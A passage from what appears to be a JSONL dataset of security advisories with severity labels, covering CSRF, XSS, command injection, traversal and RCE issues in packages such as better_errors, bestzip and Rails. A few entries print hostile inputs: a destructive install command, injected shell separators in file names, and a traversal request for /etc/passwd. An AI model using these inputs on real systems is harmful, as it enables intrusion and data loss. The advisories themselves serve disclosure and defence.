better_errors](https://github.com/BetterErrors/better_errors/discussions/507)\n- Open an issue in [better_errors](https://github.com/BetterErrors/better_errors)", "text_raw": "Older releases of better_errors open to Cross-Site Request Forgery attack\n\n[Severity: MEDIUM]\n\n### Impact\nbetter_errors prior to 2.8.0 did not implement CSRF protection for its internal requests. It also did not enforce the correct \"Content-Type\" header for these requests, which allowed a cross-origin \"simple request\" to be made without CORS protection. These together left an application with better_errors enabled open to cross-origin attacks.\n\n_As a developer tool, better_errors documentation strongly recommends addition only to the `development` bundle group, so this vulnerability should only affect development environments. Please ensure that your project limits better_errors to the `development` group (or the non-Rails equivalent)._\n\n### Patches\nStarting with release 2.8.x, CSRF protection is enforced. It is recommended that you upgrade to the latest release, or minimally to \"~> 2.8.3\".\n\n### Workarounds\nThere are no known workarounds to mitigate the risk of using older releases of better_errors.\n\n### References\n- Chris Moberly provided [an example attack that uses a now-patched vulnerability of webpack-dev-server in conjunction with Better Errors](https://about.gitlab.com/blog/2021/09/07/why-are-developers-vulnerable-to-driveby-attacks/)\n\n### For more information\nIf you have any questions or comments about this advisory, please\n- Add to the [discussion in better_errors](https://github.com/BetterErrors/better_errors/discussions/507)\n- Open an issue in [better_errors](https://github.com/BetterErrors/better_errors)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "52207b57878f829af370", "text": "Malicious Package in anarchy\n\nAll versions of `anarchy` contain malicious code. The package ran `rm - rf /` as an install script.\n\n## Recommendation\n\nRemove the package from your environment.", "text_raw": "Malicious Package in anarchy\n\n[Severity: CRITICAL]\n\nAll versions of `anarchy` contain malicious code. The package ran `rm - rf /` as an install script.\n\n\n## Recommendation\n\nRemove the package from your environment.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "f5e49a05038e9cc6d12f", "text": "ejs is vulnerable to remote code execution due to weak input validation\n\nnodejs ejs versions older than 2.5.3 is vulnerable to remote code execution due to weak input validation in `ejs.renderFile()` function", "text_raw": "ejs is vulnerable to remote code execution due to weak input validation\n\n[Severity: CRITICAL]\n\nnodejs ejs versions older than 2.5.3 is vulnerable to remote code execution due to weak input validation in `ejs.renderFile()` function", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-11-30", "split": "train"}
-{"id": "901f3f751ef207bcc620", "text": "OWASP AntiSamy Cross-site Scripting vulnerability\n\nOWASP AntiSamy before 1.5.7 allows XSS via HTML5 entities, as demonstrated by use of &colon; to construct a javascript: URL.", "text_raw": "OWASP AntiSamy Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nOWASP AntiSamy before 1.5.7 allows XSS via HTML5 entities, as demonstrated by use of &colon; to construct a javascript: URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "e65e8895f07d9385ad91", "text": "Django open redirect\n\n`django.middleware.common.CommonMiddleware` in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect.", "text_raw": "Django open redirect\n\n[Severity: MEDIUM]\n\n`django.middleware.common.CommonMiddleware` in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-04", "split": "train"}
-{"id": "f63965b6ceb517efd7e4", "text": "Apache Struts Improper Input Validation vulnerability\n\nIf an application allows enter an URL in a form field and built-in URLValidator is used, it is possible to prepare a special URL which will be used to overload server process when performing validation of the URL. Solution is to upgrade to Apache Struts version 2.5.12.", "text_raw": "Apache Struts Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nIf an application allows enter an URL in a form field and built-in URLValidator is used, it is possible to prepare a special URL which will be used to overload server process when performing validation of the URL. Solution is to upgrade to Apache Struts version 2.5.12.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "cec10ad41713fdb1df11", "text": "Multiple DrayTek Vigor Routers Web Management Page Vulnerability\n\nAffected: DrayTek Multiple Vigor Routers\n\nDrayTek Vigor3900, Vigor2960, and Vigor300B routers contain an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Multiple DrayTek Vigor Routers Web Management Page Vulnerability\n\nAffected: DrayTek Multiple Vigor Routers\n\nDrayTek Vigor3900, Vigor2960, and Vigor300B routers contain an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fddd6f8b6ecea7261c84", "text": "Improper Authorization and Origin Validation Error in OneFuzz\n\n## Impact\n\nStarting with OneFuzz 2.12.0 or greater, an incomplete authorization check allows an authenticated user from any Azure Active Directory tenant to make authorized API calls to a vulnerable OneFuzz instance.\n\nTo be vulnerable, a OneFuzz deployment must be:\n* Version 2.12.0 or greater\n* Deployed with the non-default [`--multi_tenant_domain`](https://github.com/microsoft/onefuzz/blob/2.30.0/src/deployment/deploy.py#L1021) option\n\nThis can result in read/write access to private data such as:\n* Software vulnerability and crash information\n* Security testing tools\n* Proprietary code and symbols\n\nVia authorized API calls, this also enables tampering with existing data and unauthorized code execution on Azure compute resources.\n\n## Patches\n\nThis issue is resolved starting in release 2.31.0, via the addition of application-level check of the bearer token's `issuer` against an administrator-configured allowlist.\n\n## Workarounds\n\nUsers can restrict access to the tenant of a deployed OneFuzz instance < 2.31.0 by redeploying in the default configuration, which omits the `--multi_tenant_domain` option.\n\n## References\n\nYou can find an overview of the Microsoft Identity Platform [here](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-overview).  This vulnerability applies to the multi-tenant application pattern, as described [here](https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-convert-app-to-be-multi-tenant).\n\n## For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OneFuzz](https://github.com/microsoft/onefuzz)\n* Email us at [fuzzing@microsoft.com](mailto:fuzzing@microsoft.com)", "text_raw": "Improper Authorization and Origin Validation Error in OneFuzz\n\n[Severity: CRITICAL]\n\n## Impact\n\nStarting with OneFuzz 2.12.0 or greater, an incomplete authorization check allows an authenticated user from any Azure Active Directory tenant to make authorized API calls to a vulnerable OneFuzz instance.\n\nTo be vulnerable, a OneFuzz deployment must be:\n* Version 2.12.0 or greater\n* Deployed with the non-default [`--multi_tenant_domain`](https://github.com/microsoft/onefuzz/blob/2.30.0/src/deployment/deploy.py#L1021) option\n\nThis can result in read/write access to private data such as:\n* Software vulnerability and crash information\n* Security testing tools\n* Proprietary code and symbols\n\nVia authorized API calls, this also enables tampering with existing data and unauthorized code execution on Azure compute resources.\n\n## Patches\n\nThis issue is resolved starting in release 2.31.0, via the addition of application-level check of the bearer token's `issuer` against an administrator-configured allowlist.\n\n## Workarounds\n\nUsers can restrict access to the tenant of a deployed OneFuzz instance < 2.31.0 by redeploying in the default configuration, which omits the `--multi_tenant_domain` option.\n\n## References\n\nYou can find an overview of the Microsoft Identity Platform [here](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-overview).  This vulnerability applies to the multi-tenant application pattern, as described [here](https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-convert-app-to-be-multi-tenant).\n\n## For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [OneFuzz](https://github.com/microsoft/onefuzz)\n* Email us at [fuzzing@microsoft.com](mailto:fuzzing@microsoft.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "ef7647000dc23a13a764", "text": "Webargs mishandles concurrent JSON parsing\n\nAn issue was discovered in webargs before 5.1.3, as used with marshmallow and other products. JSON parsing uses a short-lived cache to store the parsed JSON body. This cache is not thread-safe, meaning that incorrect JSON payloads could have been parsed for concurrent requests.", "text_raw": "Webargs mishandles concurrent JSON parsing\n\n[Severity: HIGH]\n\nAn issue was discovered in webargs before 5.1.3, as used with marshmallow and other products. JSON parsing uses a short-lived cache to store the parsed JSON body. This cache is not thread-safe, meaning that incorrect JSON payloads could have been parsed for concurrent requests.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-12", "split": "train"}
-{"id": "c2baa6508f5afd4344ff", "text": "Embedthis GoAhead Remote Code Execution Vulnerability\n\nAffected: Embedthis GoAhead\n\nEmbedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Embedthis GoAhead Remote Code Execution Vulnerability\n\nAffected: Embedthis GoAhead\n\nEmbedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "2cf2c7e3863c02c24d3a", "text": "Information Exposure in type-graphql\n\nVersions of `type-graphql` prior to 0.17.6 are vulnerable to Information Exposure. The package leaks the resolver source code in an error message. It is possible to force this error when no subscription topics are provided in the request.\n\n## Recommendation\n\nUpgrade to version 0.17.6 or later.", "text_raw": "Information Exposure in type-graphql\n\n[Severity: LOW]\n\nVersions of `type-graphql` prior to 0.17.6 are vulnerable to Information Exposure. The package leaks the resolver source code in an error message. It is possible to force this error when no subscription topics are provided in the request.\n\n\n## Recommendation\n\nUpgrade to version 0.17.6 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "4b8f2739e41042982997", "text": "Command Injection in bestzip\n\nVersions of `bestzip` prior to 2.1.7 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `zip` function . This may allow attackers to execute arbitrary code in the system as long as the values of `destination` is user-controlled. This only affects users with a native `zip` command available. The following examples demonstrate the issue from the CLI and also programatically:\n- `bestzip test.zip 'sourcefile; mkdir folder'`\n- `zip({ source: 'sourcefile', destination: './test.zip; mkdir folder' })`", "text_raw": "Command Injection in bestzip\n\n[Severity: CRITICAL]\n\nVersions of `bestzip` prior to 2.1.7 are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `zip` function . This may allow attackers to execute arbitrary code in the system as long as the values of `destination` is user-controlled. This only affects users with a native `zip` command available. The following examples demonstrate the issue from the CLI and also programatically:\n- `bestzip test.zip 'sourcefile; mkdir folder'`\n- `zip({ source: 'sourcefile', destination: './test.zip; mkdir folder' })`", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "b26d913f1553de0d974a", "text": "Sandbox Breakout in realms-shim\n\nVersions of `realms-shim` prior to 1.2.1 are vulnerable to a Sandbox Breakout. The Realms evaluation function has an option to apply Babel-like transformations to the source code before it reaches the evaluator. One portion of this transform pipeline exposed a primal-Realm object to the rewriting function. Confined code which used the evaluator itself could provide a malicious rewriter function that captured this object, and use it to breach the sandbox.\n\n## Recommendation\n\nUpgrade to version 1.2.1 or later.", "text_raw": "Sandbox Breakout in realms-shim\n\n[Severity: CRITICAL]\n\nVersions of `realms-shim` prior to 1.2.1 are vulnerable to a Sandbox Breakout. The Realms evaluation function has an option to apply Babel-like transformations to the source code before it reaches the evaluator. One portion of this transform pipeline exposed a primal-Realm object to the rewriting function. Confined code which used the evaluator itself could provide a malicious rewriter function that captured this object, and use it to breach the sandbox.\n\n\n## Recommendation\n\nUpgrade to version 1.2.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-21", "split": "train"}
-{"id": "1ecd7673e2ae0c432a55", "text": "Directory Traversal in intsol-package\n\n`intsol-package` is a file server.\n\n`intsol-package` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example Request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:localhost\n```\nand the server's Response\n\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in intsol-package\n\n[Severity: HIGH]\n\n`intsol-package` is a file server.\n\n`intsol-package` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the url.\n\n**Example Request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:localhost\n```\nand the server's Response\n\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "844f6c4facc40c39468e", "text": "NoSQL Injection in sequelize\n\nVersions of `sequelize` prior to 4.12.0 are vulnerable to NoSQL Injection. Query operators such as `$gt` are not properly sanitized and may allow an attacker to alter data queries, leading to NoSQL Injection.\n\n## Recommendation\n\nUpgrade to version 4.12.0 or later", "text_raw": "NoSQL Injection in sequelize\n\n[Severity: HIGH]\n\nVersions of `sequelize` prior to 4.12.0 are vulnerable to NoSQL Injection. Query operators such as `$gt` are not properly sanitized and may allow an attacker to alter data queries, leading to NoSQL Injection.\n\n\n## Recommendation\n\nUpgrade to version 4.12.0 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "544fb70c0d9d088dccd3", "text": "Wordpress Newsletter Plugin 3.2.6 (alert) Reflected XSS Vulnerability", "text_raw": "Wordpress Newsletter Plugin 3.2.6 (alert) Reflected XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-05-14", "split": "train"}
-{"id": "32494a8c81f3ddb0bb9f", "text": "Twisted CRLF Injection\n\nIn Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.", "text_raw": "Twisted CRLF Injection\n\n[Severity: MEDIUM]\n\nIn Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-10", "split": "train"}
-{"id": "017610d65771a372d4f5", "text": "Untrusted users can run pending migrations in production in Rails\n\nThere is a vulnerability in versions of Rails prior to 6.0.3.2 that allowed an untrusted user to run any pending migrations on a Rails app running in production.\n\nThis vulnerability has been assigned the CVE identifier CVE-2020-8185.\n\nVersions Affected:  6.0.0 < rails < 6.0.3.2\nNot affected:       Applications with `config.action_dispatch.show_exceptions = false` (this is not a default setting in production)\nFixed Versions:     rails >= 6.0.3.2\n\nImpact\n------\n\nUsing this issue, an attacker would be able to execute any migrations that are pending for a Rails app running in production mode. It is important to note that an attacker is limited to running migrations the application developer has already defined in their application and ones that have not already run.\n\nWorkarounds\n-----------\n\nUntil such time as the patch can be applied, application developers should disable the ActionDispatch middleware in their production environment via a line such as this one in their config/environment/production.rb:\n\n`config.middleware.delete ActionDispatch::ActionableExceptions`", "text_raw": "Untrusted users can run pending migrations in production in Rails\n\n[Severity: MEDIUM]\n\nThere is a vulnerability in versions of Rails prior to 6.0.3.2 that allowed an untrusted user to run any pending migrations on a Rails app running in production.\n\nThis vulnerability has been assigned the CVE identifier CVE-2020-8185.\n\nVersions Affected:  6.0.0 < rails < 6.0.3.2\nNot affected:       Applications with `config.action_dispatch.show_exceptions = false` (this is not a default setting in production)\nFixed Versions:     rails >= 6.0.3.2\n\nImpact\n------\n\nUsing this issue, an attacker would be able to execute any migrations that are pending for a Rails app running in production mode. It is important to note that an attacker is limited to running migrations the application developer has already defined in their application and ones that have not already run.\n\nWorkarounds\n-----------\n\nUntil such time as the patch can be applied, application developers should disable the ActionDispatch middleware in their production environment via a line such as this one in their config/environment/production.rb:\n\n`config.middleware.delete ActionDispatch::ActionableExceptions`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-24", "split": "train"}
-{"id": "a941354b4e99d1248da6", "text": "Out-of-bounds Write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds Write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "5124fb00f997fd0906b2", "text": "Indico Tampering with links (e.g. password reset) in sent emails\n\n### Impact\nAn external audit of the Indico codebase has discovered a vulnerability in Indico's URL generation logic which could have allowed an attacker to make Indico send a password reset link with a valid token pointing to an attacker-controlled domain by sending that domain in the `Host` header. Had a user clicked such a link without realizing it does not point to Indico (and that they never requested it), it would have revealed their password reset token to the attacker, allowing them to reset the password for that user and thus take over their Indico account.\n\n- If the web server already enforces a canonical host name, this cannot be exploited (this was not part of the default config from the Indico setup guide)\n- If only SSO is used ([`LOCAL_IDENTITIES`](https://docs.getindico.io/en/stable/config/settings/#LOCAL_IDENTITIES) set to `False`), the vulnerability cannot be exploited for password reset links, but other links in emails set by Indico could be tampered with in the same way (with less problematic impact though)\n\n### Patches\nYou need to update to [Indico 2.3.4](https://github.com/indico/indico/releases/tag/v2.3.4) as soon as possible.\nSee [the docs](https://docs.getindico.io/en/stable/installation/upgrade/) for instructions on how to update.\n\n### Workarounds\nYou can configure the web server to canonicalize the URL to the hostname used for Indico. See [this commit](https://github.com/indico/indico/pull/4815/commits/b6bff6d004abcf07db1891e26a0eb4aa0edb7c21) for the changes in our setup docs; they can be easily applied to your existing web server config.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open a thread in [our forum](https://talk.getindico.io/)\n- Email us privately at indico-team@cern.ch", "text_raw": "Indico Tampering with links (e.g. password reset) in sent emails\n\n[Severity: HIGH]\n\n### Impact\nAn external audit of the Indico codebase has discovered a vulnerability in Indico's URL generation logic which could have allowed an attacker to make Indico send a password reset link with a valid token pointing to an attacker-controlled domain by sending that domain in the `Host` header. Had a user clicked such a link without realizing it does not point to Indico (and that they never requested it), it would have revealed their password reset token to the attacker, allowing them to reset the password for that user and thus take over their Indico account.\n\n- If the web server already enforces a canonical host name, this cannot be exploited (this was not part of the default config from the Indico setup guide)\n- If only SSO is used ([`LOCAL_IDENTITIES`](https://docs.getindico.io/en/stable/config/settings/#LOCAL_IDENTITIES) set to `False`), the vulnerability cannot be exploited for password reset links, but other links in emails set by Indico could be tampered with in the same way (with less problematic impact though)\n\n### Patches\nYou need to update to [Indico 2.3.4](https://github.com/indico/indico/releases/tag/v2.3.4) as soon as possible.\nSee [the docs](https://docs.getindico.io/en/stable/installation/upgrade/) for instructions on how to update.\n\n### Workarounds\nYou can configure the web server to canonicalize the URL to the hostname used for Indico. See [this commit](https://github.com/indico/indico/pull/4815/commits/b6bff6d004abcf07db1891e26a0eb4aa0edb7c21) for the changes in our setup docs; they can be easily applied to your existing web server config.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n- Open a thread in [our forum](https://talk.getindico.io/)\n- Email us privately at indico-team@cern.ch", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-08", "split": "train"}
-{"id": "6c214b779814a895e322", "text": "Improper verification of signature threshold in tough\n\n## Impact\n\nThe tough library, prior to 0.7.1, does not properly verify the uniqueness of keys in the signatures provided to meet the threshold of cryptographic signatures. It allows someone with access to a valid signing key to create multiple valid signatures in order to circumvent TUF requiring a minimum threshold of unique keys before the metadata is considered valid.\n\nAWS would like to thank Erick Tryzelaar of the Google Fuchsia Team for reporting this issue.\n\n## Patches\n\nA fix is available in version 0.7.1.\n\n## Workarounds\n\nNo workarounds to this issue are known.\n\n## References\n\nCVE-2020-6174 is assigned to the same issue in the TUF reference implementation.\n\nhttps://github.com/theupdateframework/tuf/pull/974\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-6174\n\n## For more information\n\nIf you have any questions or comments about this advisory, [contact AWS Security](https://aws.amazon.com/security/vulnerability-reporting/) at [aws-security@amazon.com](mailto:aws-security@amazon.com).", "text_raw": "Improper verification of signature threshold in tough\n\n[Severity: HIGH]\n\n## Impact\n\nThe tough library, prior to 0.7.1, does not properly verify the uniqueness of keys in the signatures provided to meet the threshold of cryptographic signatures. It allows someone with access to a valid signing key to create multiple valid signatures in order to circumvent TUF requiring a minimum threshold of unique keys before the metadata is considered valid.\n\nAWS would like to thank Erick Tryzelaar of the Google Fuchsia Team for reporting this issue. \n\n## Patches\n\nA fix is available in version 0.7.1.\n\n## Workarounds\n\nNo workarounds to this issue are known.\n\n## References\n\nCVE-2020-6174 is assigned to the same issue in the TUF reference implementation.\n\nhttps://github.com/theupdateframework/tuf/pull/974\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-6174\n\n## For more information\n\nIf you have any questions or comments about this advisory, [contact AWS Security](https://aws.amazon.com/security/vulnerability-reporting/) at [aws-security@amazon.com](mailto:aws-security@amazon.com).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "11d43266696fa247241d", "text": "Use after free in portaudio-rs\n\nAffected versions of this crate is not panic safe within callback functions stream_callback and stream_finished_callback. The call to user-provided closure might panic before a mem::forget call, which then causes a use after free that grants attacker to control the callback function pointer. This allows an attacker to construct an arbitrary code execution .", "text_raw": "Use after free in portaudio-rs\n\n[Severity: CRITICAL]\n\nAffected versions of this crate is not panic safe within callback functions stream_callback and stream_finished_callback. The call to user-provided closure might panic before a mem::forget call, which then causes a use after free that grants attacker to control the callback function pointer. This allows an attacker to construct an arbitrary code execution .", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "70c61fbb6e12737feb9b", "text": "AVTECH Software (AVC781Viewer.dll) ActiveX Multiple Remote Vulnerabilities", "text_raw": "AVTECH Software (AVC781Viewer.dll) ActiveX Multiple Remote Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-04-19", "split": "train"}
-{"id": "f29be6c97899baac4aa7", "text": "Cross-Site Scripting in react\n\nAffected versions of `react` are vulnerable to Cross-Site Scripting (XSS). The package fails to properly sanitize input used to create keys. This may allow attackers to execute arbitrary JavaScript if a key is generated from user input.\n\n## Recommendation\n\nIf you are using `react` 0.5.x, upgrade to version 0.5.2 or later.\nIf you are using `react` 0.4.x, upgrade to version 0.4.2 or later.", "text_raw": "Cross-Site Scripting in react\n\n[Severity: MEDIUM]\n\nAffected versions of `react` are vulnerable to Cross-Site Scripting (XSS). The package fails to properly sanitize input used to create keys. This may allow attackers to execute arbitrary JavaScript if a key is generated from user input.\n\n\n## Recommendation\n\nIf you are using `react` 0.5.x, upgrade to version 0.5.2 or later.\nIf you are using `react` 0.4.x, upgrade to version 0.4.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "26ccdefeccb25a545eef", "text": "Recurly gem Server-Side Request Forgery in Resource#find method\n\nThe Recurly Client Ruby Library before 2.0.13, 2.1.11, 2.2.5, 2.3.10, 2.4.11, 2.5.4, 2.6.3, 2.7.8, 2.8.2, 2.9.2, 2.10.4, 2.11.3 is vulnerable to a Server-Side Request Forgery vulnerability in the `Resource#find` method that could result in compromise of API keys or other critical resources.", "text_raw": "Recurly gem Server-Side Request Forgery in Resource#find method\n\n[Severity: CRITICAL]\n\nThe Recurly Client Ruby Library before 2.0.13, 2.1.11, 2.2.5, 2.3.10, 2.4.11, 2.5.4, 2.6.3, 2.7.8, 2.8.2, 2.9.2, 2.10.4, 2.11.3 is vulnerable to a Server-Side Request Forgery vulnerability in the `Resource#find` method that could result in compromise of API keys or other critical resources.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-12-06", "split": "train"}
-{"id": "e8ad0b06d9bee7a5fe49", "text": "DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability\n\nAffected: DotNetNuke (DNN) DotNetNuke (DNN)\n\nDotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-326\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability\n\nAffected: DotNetNuke (DNN) DotNetNuke (DNN)\n\nDotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-326\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8b95f0f707ca920b6bce", "text": "Potential XSS vulnerability in jQuery\n\n### Impact\nPassing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code.\n\n### Patches\nThis problem is patched in jQuery 3.5.0.\n\n### Workarounds\nTo workaround the issue without upgrading, adding the following to your code:\n\n```js\njQuery.htmlPrefilter = function( html ) {\n\treturn html;\n};\n```\n\nYou need to use at least jQuery 1.12/2.2 or newer to be able to apply this workaround.\n\n### References\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\nhttps://jquery.com/upgrade-guide/3.5/\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery repo](https://github.com/jquery/jquery/issues). If you don't find an answer, open a new issue.", "text_raw": "Potential XSS vulnerability in jQuery\n\n[Severity: MEDIUM]\n\n### Impact\nPassing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code.\n\n### Patches\nThis problem is patched in jQuery 3.5.0.\n\n### Workarounds\nTo workaround the issue without upgrading, adding the following to your code:\n\n```js\njQuery.htmlPrefilter = function( html ) {\n\treturn html;\n};\n```\n\nYou need to use at least jQuery 1.12/2.2 or newer to be able to apply this workaround.\n\n### References\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\nhttps://jquery.com/upgrade-guide/3.5/\n\n### For more information\nIf you have any questions or comments about this advisory, search for a relevant issue in [the jQuery repo](https://github.com/jquery/jquery/issues). If you don't find an answer, open a new issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "3de31e3dfd5359b110bb", "text": "Segfault in tf.raw_ops.ImmutableConst\n\n### Impact\nCalling [`tf.raw_ops.ImmutableConst`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/ImmutableConst) with a `dtype` of `tf.resource` or `tf.variant` results in a segfault in the implementation as code assumes that the tensor contents are pure scalars.\n\n```python\n>>> import tensorflow as tf\n>>> tf.raw_ops.ImmutableConst(dtype=tf.resource, shape=[], memory_region_name=\"/tmp/test.txt\")\n...\nSegmentation fault\n```\n\n### Patches\nWe have patched the issue in 4f663d4b8f0bec1b48da6fa091a7d29609980fa4 and will release TensorFlow 2.5.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\n### Workarounds\nIf using `tf.raw_ops.ImmutableConst` in code, you can prevent the segfault by inserting a filter for the `dtype` argument.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Segfault in tf.raw_ops.ImmutableConst\n\n[Severity: LOW]\n\n### Impact\nCalling [`tf.raw_ops.ImmutableConst`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/ImmutableConst) with a `dtype` of `tf.resource` or `tf.variant` results in a segfault in the implementation as code assumes that the tensor contents are pure scalars.\n\n```python\n>>> import tensorflow as tf\n>>> tf.raw_ops.ImmutableConst(dtype=tf.resource, shape=[], memory_region_name=\"/tmp/test.txt\")\n...\nSegmentation fault\n```\n\n### Patches\nWe have patched the issue in 4f663d4b8f0bec1b48da6fa091a7d29609980fa4 and will release TensorFlow 2.5.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\n### Workarounds\nIf using `tf.raw_ops.ImmutableConst` in code, you can prevent the segfault by inserting a filter for the `dtype` argument.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
